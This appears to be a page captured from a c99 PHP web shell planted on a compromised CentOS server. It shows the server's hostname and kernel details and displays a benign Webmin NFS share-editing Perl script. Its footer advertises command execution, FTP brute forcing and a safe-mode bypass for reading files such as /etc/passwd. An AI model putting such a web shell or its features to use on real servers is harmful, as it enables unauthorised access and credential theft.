!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/libexec/webmin/dfsadmin/   drwxr-xr-x
Free 50.94 GB of 127.8 GB (39.86%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     edit_share.cgi (4.14 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# edit_share.cgi
# Display a form for editing a shared directory

require './dfs-lib.pl';
$access{'view'} && &error($text{'ecannot'});
$s = $ARGV[0];

if (defined($s)) {
    &ui_print_header(undef, $text{'edit_title1'}, "", "edit_share");
    }
else {
    &ui_print_header(undef, $text{'edit_title2'}, "", "create_share");
    }

print &ui_form_start("save_share.cgi", "post");
if (defined($s)) {
    print &ui_hidden("idx", $s),"\n";
    @shlist = &list_shares();
    $share = $shlist[$s];
    }

# Directory and description section
print &ui_table_start($text{'edit_header1'}, "width=100%", 2);

print &ui_table_row(&hlink($text{'edit_dir'}, "dir"),
            &ui_textbox("directory", $share->{'dir'}, 60)." ".
            &file_chooser_button("directory", 1));

print &ui_table_row(&hlink($text{'edit_desc'}, "desc"),
            &ui_textbox("desc", $share->{'desc'}, 60));

print &ui_table_end(),"<p>\n";

print "<table width=100% border>\n";
&parse_options($share->{'opts'});
print "<tr $tb>\n";
print "<td>",&hlink("<b>$text{'edit_ro'}</b>","ro"),"</td>\n";
print "<td>",&hlink("<b>$text{'edit_rw'}</b>","rw"),"</td>\n";
print "<td>",&hlink("<b>$text{'edit_root'}</b>","root"),"</td> </tr>\n";

# $fn = "<font size=-2>"; $efn = "</font>";
print "<tr $cb>\n";
print "<td valign=top>",
      &ui_radio("readonly", !defined($options{"ro"}) ? 0 :
                $options{"ro"} ? 2 : 1,
        [ [ 0, $text{'edit_none'}."<br>" ],
          [ 1, $text{'edit_all'}."<br>" ],
          [ 2, $text{'edit_listed'}."<br>" ] ])."\n".
      &ui_textarea("rolist", join("\n", split(/:/, $options{"ro"})), 8, 25),
      "</td>\n";

print "<td valign=top>",
      &ui_radio("readwrite", !defined($options{"rw"}) ? 0 :
                $options{"rw"} ? 2 : 1,
        [ [ 0, $text{'edit_none'}."<br>" ],
          [ 1, $text{'edit_all'}."<br>" ],
          [ 2, $text{'edit_listed'}."<br>" ] ])."\n".
      &ui_textarea("rwlist", join("\n", split(/:/, $options{"rw"})), 8, 25),
      "</td>\n";

print "<td valign=top>",
      &ui_radio("root", !defined($options{"root"}) ? 0 :
            $options{"root"} ? 2 : 1,
        [ [ 0, $text{'edit_none'}."<br>&nbsp;<br>" ],
          [ 2, $text{'edit_listed'}."<br>" ] ])."\n".
      &ui_textarea("rtlist", join("\n", split(/:/, $options{"root"})), 8, 25),
      "</td>\n";
print "</tr></table><p>\n";

if (!$access{'simple'}) {
    print &ui_table_start($text{'edit_header2'}, "width=100%", 4);

    print &ui_table_row(&hlink($text{'edit_nosub'}, "sub"),
            &ui_radio("nosub", defined($options{"nosub"}) ? 1 : 0,
                  [ [ 0, $text{'yes'} ],
                [ 1, $text{'no'} ] ]));

    print &ui_table_row(&hlink($text{'edit_nosuid'}, "suid"),
            &ui_radio("nosuid", defined($options{"nosuid"}) ? 1 : 0,
                  [ [ 0, $text{'yes'} ],
                [ 1, $text{'no'} ] ]));

    print &ui_table_row(&hlink($text{'edit_des'}, "des"),
            &ui_radio("secure", defined($options{"secure"}) ? 1 : 0,
                  [ [ 1, $text{'yes'} ],
                [ 0, $text{'no'} ] ]));

    print &ui_table_row(&hlink($text{'edit_kerberos'}, "kerberos"),
            &ui_radio("kerberos", defined($options{"kerberos"}) ? 1 : 0,
                  [ [ 1, $text{'yes'} ],
                [ 0, $text{'no'} ] ]));

    $user = defined($options{"anon"}) && $options{"anon"} != -1 ?
            getpwuid($options{'anon'}) : undef;
    print &ui_table_row(&hlink($text{'edit_anon'}, "anon"),
            &ui_radio("anon_m", !defined($options{"anon"}) ? 0 :
                    $options{"anon"} == -1 ? 1 : 2,
                  [ [ 0, $text{'edit_anon0'} ],
                [ 1, $text{'edit_anon1'} ],
                [ 2, &ui_user_textbox("anon", $user) ] ]));

    print &ui_table_row(&hlink($text{'edit_aclok'}, "aclok"),
            &ui_radio("aclok", defined($options{"aclok"}) ? 1 : 0,
                  [ [ 1, $text{'yes'} ],
                [ 0, $text{'no'} ] ]));

    if ($gconfig{'os_version'} >= 7) {
        print &ui_table_row(&hlink($text{'edit_public'}, "public"),
            &ui_radio("public", defined($options{"public"}) ? 1 : 0,
                  [ [ 1, $text{'yes'} ],
                [ 0, $text{'no'} ] ]));

        print &ui_table_row(&hlink($text{'edit_index'}, "index"),
            &ui_opt_textbox("index", $options{"index"}, 15,
                    $text{'edit_none'}));
        }

    print &ui_table_end();
    }

if ($s ne "") {
    print &ui_form_end([ [ "save", $text{'save'} ],
                 [ "delete", $text{'delete'} ] ]);
    }
else {
    print &ui_form_end([ [ "create", $text{'create'} ] ]);
    }
&ui_print_footer("", $text{'index_return'});



:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0118 ]--